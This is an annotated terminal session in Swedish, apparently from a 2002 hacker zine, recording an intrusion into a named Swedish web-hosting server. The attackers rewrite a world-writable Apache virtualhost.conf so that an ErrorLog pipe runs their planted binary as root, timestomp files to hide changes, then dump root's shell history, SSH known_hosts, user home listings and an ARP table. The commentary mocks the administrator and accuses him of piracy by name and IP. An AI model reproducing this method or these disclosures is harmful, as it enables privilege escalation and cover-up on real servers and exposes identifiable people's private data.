-rw-r--r--   1 root     root        1295 Sep 22 21:07 lindal.bilder.nu-error_log
-rw-r--r--   1 root     root           0 Sep 16 00:00 link.tillberg.net-combined
-rw-r--r--   1 root     root     4670744 Sep 22 23:03 se2.php.net-error_log
-rw-r--r--   1 root     root       41994 Sep 22 17:51 www.h3rbie.com-combined
-rw-r--r--   1 root     root       13803 Sep 22 12:43 www.tillberg.net-error_log
-rw-r--r--   1 root     root         717 Sep 22 04:10 www.timrahalsostudio.burken.nu-error_log
-rw-r--r--   1 root     root        7607 Sep 22 19:53 www.tracit.burken.nu-combined
-rwxr-xr-x   1 root     root        1090 Mar 29  2001 logcheck.sh

+---------------------------------------------------------------------------+
| Ohyggligt l�ng lista p� dom�nnamn d�r.                                    |
| Vi kortade ned den ganska graftigt men killen har hand om en j�vla massa. |
+---------------------------------------------------------------------------+

$ cat logcheck.sh
#!/bin/sh

# Display syntax
function dispsyntax {
  echo Usage: logcheck.sh \<logfile\>
}

# Check if we got an argument on the commandline
if [ "$1" == "" ];then
  dispsyntax
  exit 1
fi

# Check if the file exists
if [ ! -f $1 ];then
  echo No such file...
  exit 1
fi

# Get yesterdays date
DATE=`date --date '1 day ago' +"%d/%b/%Y"`
echo DATE: $DATE

# Fetch the loglines from the file and put it in a temporary file
egrep "^[^ ]* [^ ]* [^ ]* \[$DATE.*" $1 > /tmp/www.log

# Get total number of hits from the logfile
TOTALHITS=`wc -l /tmp/www.log | awk {'print $1'}`
echo TOTALHITS: $TOTALHITS

# Get hourly stats
for i in `seq 0 23`;do
HOUR=`echo $i | sed -e 's/.*/0&/' | sed -e 's,.*\([0-9][0-9]\)$,\1,'`
HOURHITS=`egrep "^[^ ]* [^ ]* [^ ]* \[$DATE:$HOUR.*" /tmp/www.log | wc -l | awk {'print $1'}`
echo $i - $HOUR: $HOURHITS
done

# Get minute stats
for i in `seq 0 59`;do
MINUTE=`echo $i | sed -e 's/.*/0&/' | sed -e 's,.*\([0-9][0-9]\)$,\1,'`
MINUTEHITS=`egrep "^[^ ]* [^ ]* [^ ]* \[$DATE:12:$MINUTE:.*" /tmp/www.log | wc -l | awk {'print $1'}`
echo $i - $MINUTE: $MINUTEHITS
done
$ pwd
/usr/web/logs
$ cd ../conf
$ ls -alrt
total 412
drwxrwxrwx   2 httpd    httpd        4096 Nov  9  2000 RCS
-rwxrwxrwx   1 httpd    httpd         357 Feb 10  2001 srm.conf
-rwxrwxrwx   1 httpd    httpd        9986 Feb 10  2001 mime.types
-rwxrwxrwx   1 httpd    httpd       12441 Feb 10  2001 magic
-rwxrwxrwx   1 httpd    httpd         348 Feb 10  2001 access.conf
-rw-r--r--   1 root     root        32532 Jun  3  2001 httpd.conf.old
-rw-r--r--   1 root     root        23270 Jun  3  2001 virtualhost.conf.old
-rwxr-xr-x   1 root     root        32673 Apr 30 20:23 httpd.test.conf
-rwxr-xr-x   1 root     root        41060 May  1 18:35 virtualhost.test.conf
drwxr-xr-x  18 root     root         4096 Aug  5 15:18 ..
-rwxrwxrwx   1 httpd    httpd          61 Aug  5 15:24 php.ini
-rw-r--r--   1 root     root          357 Aug 25 21:51 srm.conf.default
-rw-r--r--   1 root     root        12381 Aug 25 21:51 mime.types.default
-rw-r--r--   1 root     root        12965 Aug 25 21:51 magic.default
-rw-r--r--   1 root     root        33635 Aug 25 21:51 httpd.conf.default
-rw-r--r--   1 root     root          348 Aug 25 21:51 access.conf.default
-rwxrwxrwx   1 httpd    httpd       32788 Aug 25 21:55 httpd.conf
-rwxr-xr-x   1 root     root        51224 Aug 25 22:47 virtualhost.conf.20020825
drwxrwxrwx   3 httpd    httpd        4096 Aug 25 22:47 .
-rwxrwxrwx   1 httpd    httpd       57271 Sep 13 12:40 virtualhost.conf

#
# Julafton - fast det bara �r september
# En vanlig finnig n�rd som l�rt sig hacka fr�n happyhacker-texterna
# skulle ju s�klart beh�va en suid fil, med ehm.. utnyttjbar kod
# - samt en het sploit fr�n bugtraq f�r koka ihop root.
#
# Vi kan skriva b�de h�r och d�r - det f�rsta som poppar upp
# i skallen �r inte "wow, massdeface, alldas, irc, respekt, elajt"
#
# Apache �r l�tt att f� root via om man kan skriva till httpd.conf.
# Det f�rsta man t�nker p� �r kanske att l�ta Apache ladda en modul
# (eftersom den i init-rutinen k�rs som root), men httpd -l visar
# att mod_so.c inte �r inkompilerad, s� vi f�r k�ra p� med ett annat trick!
#


$ cat virtualhost.conf
#ThrottlePolicy none

<Location /throttle-status>
  SetHandler throttle-status
</Location>

<VirtualHost new.burken.nu _default_>
  #ThrottlePolicy none
  DocumentRoot /usr/web/htdocs
  ServerName new.burken.nu
</VirtualHost>

<VirtualHost www.djurvall.burken.nu>
  ThrottlePolicy none
  DocumentRoot /home/djurvall/public_html
  ServerAlias djurvall.burken.nu
  ServerName www.djurvall.burken.nu
#  TransferLog logs/www.djurvall.burken.nu-access_log
  CustomLog logs/www.djurvall.burken.nu-combined combined
  ErrorLog logs/www.djurvall.burken.nu-error_log
</VirtualHost>

<VirtualHost www.charliesierra.nu>
  #ThrottlePolicy none
  DocumentRoot /home/grkplut/public_html
  ServerName www.charliesierra.nu
  ServerAlias charliesierra.nu
  php_admin_flag safe_mode On
  php_admin_flag mysql.allow_persistent off
  CustomLog logs/www.charliesierra.nu-combined combined
  ErrorLog logs/www.charliesierra.nu-error_log
</VirtualHost>

<VirtualHost www.motmakt.nu>
  #ThrottlePolicy none
  DocumentRoot /home/loui/public_html
  ServerName www.motmakt.nu
  ServerAlias motmakt.nu
  php_admin_flag safe_mode On
  php_admin_flag mysql.allow_persistent off
  CustomLog logs/www.motmakt.nu-combined combined
  ErrorLog logs/www.motmakt.nu-error_log
</VirtualHost>

# ADD HERE

<VirtualHost www3.se.postgresql.org>
  #ThrottlePolicy none
  DocumentRoot /export/vol2/webs/www3.se.postgresql.org
  ServerName www3.se.postgresql.org
  php_admin_flag safe_mode On
  CustomLog logs/www3.se.postgresql.org-combined combined
  ErrorLog logs/www3.se.postgresql.org-error_log
</VirtualHost>

#### Dynamiska
<VirtualHost 194.236.124.42>
  #ThrottlePolicy none
  LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon
  UseCanonicalName Off
  CustomLog logs/virtual-access_log vcommon
  VirtualDocumentRoot /home/tyko/dynamic/%0
</VirtualHost>

<VirtualHost www.burken.nu>
  #ThrottlePolicy none
  DocumentRoot /usr/web/webs/www.burken.nu
  ServerName www.burken.nu
#  TransferLog logs/www.burken.nu-access_log

#  UserDir disabled

  UserDir http://www.burken.nu/disabled.php

  CustomLog logs/www.burken.nu-combined combined
  ErrorLog logs/www.burken.nu-error_log
</VirtualHost>

<VirtualHost www.xmms.org>
  ThrottlePolicy none
  DocumentRoot /home/xmms/web
  ServerName www.xmms.org
  ServerAlias sewww.xmms.org
  ServerAlias xmms.burken.nu
  <Directory /home/xmms/web>
    Options Includes ExecCGI Indexes
    AllowOverride FileInfo AuthConfig Limit
    <Limit GET POST OPTIONS PROPFIND>
      Order allow,deny
      Allow from all
    </Limit>
  </Directory>
  AddHandler server-parsed .html
#  TransferLog logs/www.xmms.org-access_log
#  CustomLog logs/www.xmms.org-referer_log referer
#  CustomLog logs/www.xmms.org-agent_log agent
  CustomLog logs/www.xmms.org-combined combined
  ErrorLog logs/www.xmms.org-error_log
</VirtualHost>

#
# �ven h�r editerade vi kraftigt.
# vi vill ju inte tr�ka ut er, eller hur?
#


$ cd ../logs
$ find . -name "*error*" -size 0
./stats.burken.nu-error_log
./www.enduro.nu-error_log
./cam.spacedump.pp.se-error_log.swapped
./www.motherjames.com-error_log
./netgoblins.com-error_log.swapped-020915
./www.backman.cc-error_log
./www.musiknoje.nu-error_log
./link.tillberg.net-error_log
./hmpfzie.nu-error_log
./arkivet.tillberg.net-error_log
./www.garnia.nu-error_log
./gettyone.burken.nu-error_log
./photodisc.burken.nu-error_log
./webcam.tracit.burken.nu-error_log
$ cd ..

#
# Backup �r A och O f�r att lyckas som IT kriminell.
#

$ cd conf
$ touch -amr virtualhost.conf /var/tmp/.v
$ cp virtualhost.conf /var/tmp/.vv
$ sed s',logs/www.jowi.nu-error_log,|logs/www.jowi.nu-error-log,' < virtualhost.conf > v
$ cat v > virtualhost.conf
$ rm v
$ grep '|' virtualhost.conf
  ErrorLog |logs/www.jowi.nu-error-log
$ cp /var/tmp/a ../logs/www.jowi.nu-error-log
$ chmod 755 ../logs/www.jowi.nu-error-log
$ touch -amr /var/tmp/.v virtualhost.conf . ../logs/www.jowi.nu-error-log
$ pwd
/usr/web/conf
$ ls -alrt
total 412
drwxrwxrwx   2 httpd    httpd        4096 Nov  9  2000 RCS
-rwxrwxrwx   1 httpd    httpd         357 Feb 10  2001 srm.conf
-rwxrwxrwx   1 httpd    httpd        9986 Feb 10  2001 mime.types
-rwxrwxrwx   1 httpd    httpd       12441 Feb 10  2001 magic
-rwxrwxrwx   1 httpd    httpd         348 Feb 10  2001 access.conf
-rw-r--r--   1 root     root        32532 Jun  3  2001 httpd.conf.old
-rw-r--r--   1 root     root        23270 Jun  3  2001 virtualhost.conf.old
-rwxr-xr-x   1 root     root        32673 Apr 30 20:23 httpd.test.conf
-rwxr-xr-x   1 root     root        41060 May  1 18:35 virtualhost.test.conf
drwxr-xr-x  18 root     root         4096 Aug  5 15:18 ..
-rwxrwxrwx   1 httpd    httpd          61 Aug  5 15:24 php.ini
-rw-r--r--   1 root     root          357 Aug 25 21:51 srm.conf.default
-rw-r--r--   1 root     root        12381 Aug 25 21:51 mime.types.default
-rw-r--r--   1 root     root        12965 Aug 25 21:51 magic.default
-rw-r--r--   1 root     root        33635 Aug 25 21:51 httpd.conf.default
-rw-r--r--   1 root     root          348 Aug 25 21:51 access.conf.default
-rwxrwxrwx   1 httpd    httpd       32788 Aug 25 21:55 httpd.conf
-rwxr-xr-x   1 root     root        51224 Aug 25 22:47 virtualhost.conf.20020825
-rwxrwxrwx   1 httpd    httpd       57272 Sep 13 12:40 virtualhost.conf
drwxrwxrwx   3 httpd    httpd        4096 Sep 13 12:40 .
$ cd RCS
$ ls
virtualhost.conf,v
$ ls -alrt
total 20
-rwxrwxrwx   1 httpd    httpd        8852 Nov  9  2000 virtualhost.conf,v
drwxrwxrwx   2 httpd    httpd        4096 Nov  9  2000 .
drwxrwxrwx   3 httpd    httpd        4096 Sep 13 12:40 ..
$ cd ../../logs
$ ls -l www.jowi.nu-error-log
-rwxr-xr-x   1 httpd    httpd       15848 Sep 13 12:40 www.jowi.nu-error-log


# Detta �r v�r nya v�n - programmet som ska ge oss root on demand n�sta g�ng
# Apache startas om..
# Eftersom t�lmodighet �r det enda vettiga s� struntar vi i att kill -STOP
# alla Apacheprocesser och sen gn�lla hos Spacedump s� han startar om Apache :P
# Chansen att han uppt�cker n�t �r mindre d�.. f�r vem skulle inte bli
# f�rvirrad om Apache slutade g�ra sitt jobb bara s�d�r? ;>


$ strip www.jowi.nu-error-log

$ ls -l www.jowi.nu-error-log
-rwxr-xr-x   1 httpd    httpd        6260 Sep 22 23:27 www.jowi.nu-error-log
$ touch -amr /var/tmp/.v . www.jowi.nu-error-log
$ cd ../conf
$ grep '|' virtualhost.conf
  ErrorLog |logs/www.jowi.nu-error-log
$ ls -l /usr/web/logs/www.jowi.nu-error-log
-rwxr-xr-x   1 httpd    httpd        6260 Sep 13 12:40 /usr/web/logs/www.jowi.nu-error-log


#
# N�gra tester som gjordes p� en annan j00n1xdata visade att
# |logs/www.jowi.nu-error-log inte fungerade.. Vi m�ste anv�nda oss av
# full path - inte lika sneaky, men hindrar oss knappast fr�n att koka roota ;)


$ pwd
/usr/web/conf
$ sed s',|logs/www.jowi.nu-error-log,|/usr/web/logs/www.jowi.nu-error-log,' < virtualhost.conf  > v
$ cat v > virtualhost.conf
$ rm v
$ touch -amr /var/tmp/.v  . virtualhost.conf
$ cp virtualhost.conf /var/tmp/.vx
$ cat /var/tmp/.vv > virtualhost.conf
$ touch -amr /var/tmp/.v . virtualhost.conf
$ uname -a
Linux fs02 2.4.9 #1 SMP Thu Aug 23 18:44:06 CEST 2001 i686 unknown
$ date
Sun Sep 22 23:51:01 CEST 2002
$ cat /var/tmp/.vx > virtualhost.conf
$ ls -l /usr/web/logs/www.jowi.nu-error-log
-rwxr-xr-x   1 httpd    httpd        6260 Sep 13 12:40 /usr/web/logs/www.jowi.nu-error-log
$ touch -amr /var/tmp/.v virtualhost.conf .
$ cd /var/tmp
$ strip .a
$ touch -amr .v .a .vx .vv
$ date
Sun Sep 22 23:57:30 CEST 2002
$ date
Mon Sep 23 00:01:05 CEST 2002
$ df -k
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda2              4065500   3508100    347352  91% /
/dev/hda1                22580      1917     19459   9% /boot
/dev/hda4             34321796  32115832   2205964  94% /export/vol1
/dev/hdb1             39076880  37517344   1559536  96% /export/vol2
fs01:/export/vol2/unix/s/spacedmp
                      30443079  28618001    173699  99% /home/spacedmp
bettan:/usr/home/bbs/web
                      36294258   1037918  32352800   3% /export/vol2/webs/bbs.linux.se
bettan:/usr/home/linuxse/web
                      36294258   1037918  32352800   3% /export/vol2/webs/www.linux.se
bettan:/usr/home/lstore
                      36294258   1037918  32352800   3% /export/vol2/webs/www.linuxstore.se
bettan:/usr/home/shellkonto/web
                      36294258   1037918  32352800   3% /export/vol2/webs/www.shellkonto.nu
fs01:/export/vol2/unix/s/spacedmp
                      30443079  28618001    173699  99% /home/spacedmp
fs01:/export/vol3/ftp
                      15920515   4564114  11185042  29% /home/ftp
fs01:/export/vol2/unix/b/budis
                      30443079  28618001    173699  99% /home/budis
fs01:/export/vol2/unix/t/tillberg
                      30443079  28618001    173699  99% /home/tillberg
fs01:/export/vol2/unix/b/byggsus
                      30443079  28618001    173699  99% /home/byggsus
fs01:/export/vol2/unix/a/angel
                      30443079  28618001    173699  99% /home/angel
fs01:/export/vol2/unix/m/movitz
                      30443079  28618001    173699  99% /home/movitz
fs01:/export/vol2/unix/k/krokros
                      30443079  28618001    173699  99% /home/krokros
fs01:/export/vol2/unix/b/bihrner
                      30443079  28618001    173699  99% /home/bihrner
fs01:/export/vol2/unix/s/stx
                      30443079  28618001    173699  99% /home/stx
fs01:/export/vol2/unix/t/tripodz
                      30443079  28618001    173699  99% /home/tripodz
fs01:/export/vol2/unix/p/psycho
                      30443079  28618001    173699  99% /home/psycho
fs01:/export/vol2/unix/f/forze
                      30443079  28618001    173699  99% /home/forze
fs01:/export/vol2/unix/s/sidewalk
                      30443079  28618001    173699  99% /home/sidewalk
fs01:/export/vol2/unix/t/tilion
                      30443079  28618001    173699  99% /home/tilion
fs01:/export/vol2/unix/s/sebbz
                      30443079  28618001    173699  99% /home/sebbz
fs01:/export/vol2/unix/m/meat
                      30443079  28618001    173699  99% /home/meat
fs01:/export/vol2/unix/s/smallone
                      30443079  28618001    173699  99% /home/smallone
fs01:/export/vol2/unix/e/emess
                      30443079  28618001    173699  99% /home/emess
$ id
uid=501(httpd) gid=501(httpd) groups=501(httpd)
$ cd /var/tmp
$ ed
a

[* kod till errorlogprogram bortklipp *]
.
w a.c
q
4297
$ make a
$ gcc -o a a.c -O2 -Wall
$ strip a
$ rm a.c
$ cd /usr/web/logs
$ cat /var/tmp/a > www.jowi.nu-error-log
sh: www.jowi.nu-error-log: Text file busy


# haha - surprise!
# n�gon / n�got har precis startat om apache s� den har startat www.jowi.nu-error-log
# I feel lucky! Nu �re nog dags att dra ner p� statoil och handla lite lotter

$ cd /var/tmp
$ ed
a

[* Koden som utnyttjar errorlogprogrammet (www.jowi.nu-error-log) saxad..
   Det �r Flashback som varit framme och SAXAT fr�n oss, haha!
   Yo yo, det �r vi som �r LoLing Stoned's - shara knarket broder!           *]
.
w r.c
1757
q
$ make r
cc     r.c   -o r
$ cd /usr/web/conf
$ cat /var/tmp/.vv > virtualhost.conf
$ touch -amr /var/tmp/.v virtualhost.conf .


# Eftersom vi inte vill bli uppt�ckta �terst�llde vi konfigfilen.
# Inte s� stor risk att Spacedump lyckas snubbla �ver det, men
# man vet aldrig ;>

$ /var/tmp/r &
$ rm -f /var/tmp/r*
$ kill -9 $$



+-------------------------------------------------------------------------+
| EDITOR note: 								  |
| F�r er som inte riktigt h�ngde med d�r skall 				  |
| jag f�rklara vad det var som h�nde. 					  |
| I och med att b�de virtualhost.conf och logfilerna var 		  |
| skrivbara av alla s� skrev dom �ver en logfil med ett program,	  |
| och bad apache att �ppna den som |/usr/web/logs/www.jowi.nu-error-log   |
| dvs. Att programmet skulle exekveras. Som root!			  |
|									  |
| Detta �r ett utm�rkt exempel att p� att hacka en dator                  |
| utan att anv�nda exploits, inga patchar skyddar mot en dum admin!       |
|               							  |
+-------------------------------------------------------------------------+



# I v�r nya r00t-en4bl4d3!! termimnal h�nde f�ljande
$ cd /root
$ ls -alrt
total 29348
-rw-r--r--   1 root     root          114 May  8  1993 .lesskey
-rw-r--r--   1 root     root           48 Sep 11  1996 .less
-rw-r--r--   1 root     root        75277 Dec 23  1997 nc110.tar.gz
-rw-r--r--   1 root     root       159028 Jun 17  1999 mpg123-0.59r.tar.gz
-rw-r--r--   1 root     root       332253 Sep  6  2000 rsync-2.4.6.tar.gz
-rw-r--r--   1 root     root        82161 Oct 22  2000 oidentd-1.7.1.tar.gz
-rw-r--r--   1 root     root       872451 Feb 21  2001 mrtg-2.9.10.tar.gz
-rw-r--r--   1 root     root       257631 Feb 22  2001 gd-1.8.4.tar.gz
-rw-r--r--   1 root     root          320 Feb 26  2001 index.html
-rw-r--r--   1 root     root       274318 Mar  1  2001 gd-1.8.3.tar.gz
-rw-r--r--   1 root     root        12076 Mar  1  2001 mysql.db
-rw-r--r--   1 root     root       297467 Mar  1  2001 reiserfs-utils-3.6.25.tar.gz
-rw-r--r--   1 root     root           31 Mar  5  2001 .klogin
-rw-r--r--   1 root     root       772176 Mar 11  2001 mkisofs-1.13.tar.gz
drwxr-xr-x   5 root     root         4096 Mar 24  2001 mirror
-rwxr-xr-x   1 root     root           58 Apr 12  2001 perl-test.pl
drwxr-xr-x   2 root     root         4096 Dec 15  2001 .ssh
-rw-r--r--   1 root     root         8642 Feb  4  2002 linux-se.bash_history
-rw-r--r--   1 root     root           30 Mar 16  2002 .amandahosts
drwxr-xr-x   2 root     root         4096 Mar 31 11:09 TAKEN
-rw-r--r--   1 root     root      2695311 Apr 18 21:43 cvs-1.11.2.tar.gz?JServSessionIdservlets=fi1q876xk1
drwxr-xr-x   2 root     root         4096 May  1 09:32 .mc
drwxr-xr-x   2 root     root         4096 Jun 26 19:54 backup
drwxr-xr-x   3 root     root         4096 Jun 29 18:03 cvstest
drwxr-xr-x  24 root     root         4096 Jun 30 10:39 ..
-rw-------   1 root     root          164 Jun 30 12:00 .cvspass
-rw-r--r--   1 root     root       265729 Sep  4 02:44 prcinfo
drwxr-xr-x  11 root     root         4096 Sep  8 13:21 src
-rw-------   1 root     root        13256 Sep 22 17:27 .bash_history
$ cd TAKEN
$ ls -l
total 0
drwxr-xr-x   4 root     root           96 Mar 22 08:27 home/
$ cd home
$ ls
covers/
zao/
$ ypcat passwd|egrep zao\|covers
zao:*:1346:1346:Lars Viklund [Linux.SE]:/home/zao:/bin/bash
covers:*:1372:1372:Magnus Bondesson [Linux.SE]:/home/covers:/bin/bash


# Enormt oetiskt.. Han har stulit folks homedirs :(
# Fy fan f�r dig, Spacedump!


$ cd ../../dl
$ ls
AUTODESK.BUILDING.ELECTRICAL.V1.0.ISO-RiSE/
$ warez
bash: warez: command not found

#
#
# [ http://www.antipiratbyran.com/tips.asp ]
# -------> SE HIT <-------------------------
#    OLAGLIGA KOPIOR P� SKYDDAT MATERIAL !!!
# Spacedump distribuerar olagliga kopior p� dyra program!
# OLAGLIGA KOPIOR P� SKYDDAT MATERIAL !!!
# -------------------> SE HIT <-------------
# [ http://www.antipiratbyran.com/tips.asp ]
#
#


$ cd ..
$ cat .bash_history
ls
du
vi dagbok.php
cat connect.php
vi connect.php
exit
pwd
ls
w
uptime
w
who
w
exit
ls
ls
du
ls
du
ls -l
cd /root/src/
ls
cd ..
vi /etc/passwd
pwd
id
w
w
w
w
w
w
w
ps auxw
ps auxw
ftp 0
df
pwd
ls
cd /home/noaksson
cd public_html/
l
ls
mysql -uroot -p _system
mysql -uroot -p _system
cat /etc/passwd
pwd
ls
exit
vi /etc/passwd
TERM=xterm

#
# heh, grabben har skillz
#

$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(operator)
$ arp -na &
? (194.236.124.59) at 00:60:1D:F1:76:AB [ether] on eth0
? (194.236.124.52) at 00:D0:B7:3B:2C:89 [ether] on eth0
? (194.236.124.49) at 00:60:1D:F1:5E:9F [ether] on eth0
? (194.236.124.43) at 00:D0:B7:49:96:04 [ether] on eth0
? (194.236.124.41) at 00:0A:41:FD:0E:C0 [ether] on eth0
? (194.236.124.40) at 00:0A:41:FD:16:C0 [ether] on eth0
? (194.236.124.36) at 00:03:47:A4:76:01 [ether] on eth0
? (194.236.124.34) at 00:D0:B7:83:72:31 [ether] on eth0
? (194.236.124.33) at 00:80:C8:B9:B8:B5 [ether] on eth0
$ cd .ssh
$ ls -alrt
total 24
-rw-------   1 root     root          512 Sep 25  2001 random_seed
-rw-r--r--   1 root     root          342 Dec 15  2001 authorized_keys
drwxr-xr-x   2 root     root         4096 Dec 15  2001 .
drwx--x---  17 root     root         4096 Sep 20 15:37 ..
-rw-------   1 root     root         4903 Sep 22 16:13 known_hosts
$ cat kn*
warez,194.236.124.48 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
warez,194.236.124.48 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA0Oj0s6bGL/uXuSaUb9QGG1z3klcdivozVCBvMwe6wmGBTSuttwU7mMOhVEubqHiEVO0DsPzFXr8Sgjn94GmP5L8nQyRgkSkAxsvhM2r7RHCrP3uSZ82gB3zO8/AfzE0aQA1MokH5mA1GVJtlQ/+1la909aGfeSKXlLAHiZ8xzWE=
172.17.196.45 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwKdpuGfC3M4JOlAAUslkf3rd1QhRqv548wq2J0iDPyVLXf31QjIiCoIpDJ3y8Qtjfz621DH+0+4h8J/bflsM5296CUffNv35xQNUfV1FCB45ucQmtYsJtTjjQ2+uIjpCOSn4TKkGQc5E/NqGRnzuzLceSbNv/S4AYIH52daOOBc=
0,0.0.0.0 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyuoNtWHm6vqkmnRpdvT+HyLIwkFFRxEO9oG7i41uxXN/KBAw6uUbEVaTOAUMeD00vV9z0FJfCa3MqO3+ZuAFE+sIM/z3iReWHV5iBZnyg207drh41+kTUtDlUD3NrY9cqaVgisCIbGBKB83ReYaBNbqvnHXjlPUPefsK9jVUmGM=


#
# G�r v�rlden en tj�nst - tipsa Antipiratbyr�n ASAP!
# WAREZ @ warez.spacedump.pp.se
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# WAREZ @ warez.spacedump.pp.se
#
#

$ cd /home
$ ls
alhakim
bilder
bobis
covers
djurvall
engman
esnweb
evonite
ftp
hulteniu
ia
icom2002
kattmat
liket
matty
perrra
revo9
rickard
spacedmp
tilion
tod
treggy88
xmms
zmanga
zrkaska
zybernic
$ cd spa*
$ cd .ssh
$ ls -alrt
total 123
-rw-r--r--   1 spacedmp spacedmp      334 Sep  6  2000 identity.pub
-rw-------   1 spacedmp spacedmp      530 Sep  6  2000 identity
drwxr-xr-x   2 spacedmp spacedmp     1024 Oct 20  2001 .
-rw-------   1 spacedmp spacedmp      512 Oct 20  2001 random_seed
-rw-r--r--   1 spacedmp spacedmp     1663 Aug  7 10:24 authorized_keys
-rw-------   1 spacedmp spacedmp    41725 Sep 20 09:32 known_hosts
drwxrwx--x 167 spacedmp spacedmp    75776 Sep 22 22:50 ..
$ cat known_hosts
gosalyn.ced.chalmers.se 1024 35 151268403917718649882081152829065486043358572813676462221244838581488009668018883259815030194286947292034830350955135247480106213789589722219532161893822852791556816494078325957203917212699864296401711335670497522192692109587590299406450489604843542615765206899256517137115945667472210988874053903890991769553
serverbox.free-hosting.nu 1024 37 134597990471742974707895288295197342031673600293964367163822327663827653734449319941393977749583113461411264815777302534393502530805021218588536469617083669299202568118179635567112930274168363178497648826177618378882091848810018000604799247223998803565855288531775183107482896633568714233615450730749464083089
pucko.remedy.nu 1024 35 131615164213144470425074761948855039472420090466808230435056120628490849986772491928629537071035073133886603084946716159960194719546765158220522908862706763596358271876605852998947844089230656680791697530167204971184066256011041106908479903667075343702675011394891968264430300046239619508541974182293107456447
194.236.124.132 1024 33 161206773657465995167653167266007675180304456330077216222647192945308879014012703729891120896611820048255616303530605919118017545210641020425869773610971518864339379121346507261597510666163874003202631417433180707033207456863693689823000540652081405075335445736807320170300977530945514026503410451907070148213
lamerz.net 1024 33 161206773657465995167653167266007675180304456330077216222647192945308879014012703729891120896611820048255616303530605919118017545210641020425869773610971518864339379121346507261597510666163874003202631417433180707033207456863693689823000540652081405075335445736807320170300977530945514026503410451907070148213
194.236.124.50 1024 33 106440909399036561174668454890244934945341998838416659842612393506364123390262355634611548420273452506699161141587318167082764466077386274093814956965983662369853850388883586743829340476321227576239452527607359128736714460996865566821719397974698451962043366965666650648028836320349534718392986036732378187223
freebsd 1024 33 106440909399036561174668454890244934945341998838416659842612393506364123390262355634611548420273452506699161141587318167082764466077386274093814956965983662369853850388883586743829340476321227576239452527607359128736714460996865566821719397974698451962043366965666650648028836320349534718392986036732378187223
fs01 1024 37 134673151523792009982979064108789575564945427532815915866834835533214395963664402378972587506042837947822104411772170834113755511426407333529503782061647439799257003674412977902749846210129915720453369054692577308442177034856123715982878707735848826768516968278925459776852644465892999220595654049921315882663
138.6.217.9 1024 33 115108939138063993061560223021272460052143911224539594694976637624133329732526387293052833760334304571220488685218117210600996213042424613105888561229992708962898121879989695640622207462668817200342608748398593645921543114836463971847973148559043516969030521487173704822891707334776162958713299564817096422373
mail.krantz.pp.se 1024 37 135011172057041089136373399164064698898546616758827781781717961481860483004151552706143216896194778964030514696170025454685506922903823410328387316270481106163174758548565922019541025983027403581964400752679263811232667238295303549257426892770190876390506768135256182415104651335729007897838945015436354260863
cinderella.krantz.pp.se 1024 37 130421086946384289988428900200147743458721813940728519338781963364282317832578315342606380347111425004069101548777156656385486065836274507965737367326852126749621710985783013696019897344554626084328640822064820912229966889562182564041465508467911840650401631018561169088321801816915107509598270324080610532889
darkface.pp.se 1024 33 169080968056137498524203972835485980691586436083284108390517638264207770843540675988712702263518619516657506575115107946825001397597251586604752594767850921462811670127499444525006459868876599144723027352452723709611264352186197352429594355429842253945296045745184709818035994649383019487740966989387577500103
194.236.124.44 1024 33 156151763636703064972131629379441706363920933951421407832358295483686275516432154839031791654435442269657428529635221458758631634281241653884568570029564087038574636104194107272439305150123194472103548975986792043447918707499611200417706680171492795745570811730749529577367178917143439932529317161669394091443
194.236.124.49 1024 35 151731405636950241370576108878455140193213261930273497153187921454382081626961892019897948341809822948574452245675823228080535057316460235452245717491056171870729976611537759332063821938825159223198012666573140999001112297406197152645081876844834383263200391185869768598862253915497492900786067217237923955963
194.236.124.43 1024 37 118439828164747952241580655655004609564093003304896278175033142029698401584503244622694601145078487644463998540506251879590699623280404197799844501365192579042734347305855638344643547599092681479083916547703791633896733511966791065024020772166573074503848012211471213219739637281207141260742499665356150065431
ricefarmer.bleh.nu 1024 37 151966743160981836112112099411167483704934911666154694002338692302599283356798650778091031977900851719176237504751758782478119151107407024448464054601979062945642792352912254976613693054442207441050938916441491441461792756391812905058039148851096501668040319767840835490360266604890251564373376057535291251909
195.58.127.131 1024 37 140574403009841793113966746999342228506648563741752138192246668378423285297871271599872889578452415390299515887270868890397219453618402610120892612769927015480227037448545824481167341057457534599838998654375299094647684941872984539561888277449553139797026247504731497668224744666582532769192307155825117130963
new 1024 35 133312470361269667234165234511639086344664908731708444144543057289249464658831084265071513653947212108635308869833382024486517915754425526532683980030286284754219246036368377368152363699472298766300887141662203357088997493548669429374968367226684615772207594370780452625972805213004392904076073291672322933703
linuxse.burken.nu 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
www.linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
perrra.dyn.mirkkwar.nu 1024 37 137453207349046931314428046630191401605838152305527704078758799863320162626703970804927787478034430301285848715996177513583320548937699705395228852954281372184170108708112481495181049202127141964061950923747703075018738105715255313153822444088238646551849761966145395705245401633126996578739062289244384891479
217.78.33.46 1024 35 118157298531954640965896698179168201062198977069443840990896146940517470425712576168300280623574379110887261136704960690182912090936930628938701605792330583699074042830925709382601199225440417729177406576053753925098706373831525349950993826304919383989436407769713720925775314270441579513577320488325932169493
